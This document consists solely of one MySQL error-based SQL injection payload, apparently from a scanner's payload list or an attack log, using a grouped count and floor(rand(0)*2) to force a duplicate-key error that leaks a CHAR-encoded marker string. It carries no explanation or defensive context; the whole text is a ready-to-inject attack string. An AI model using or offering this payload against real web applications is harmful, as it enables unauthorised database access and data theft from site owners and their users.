"and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(55),CHAR(87),CHAR(102),CHAR(104),CHAR(68),CHAR(76),CHAR(57),CHAR(57)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and"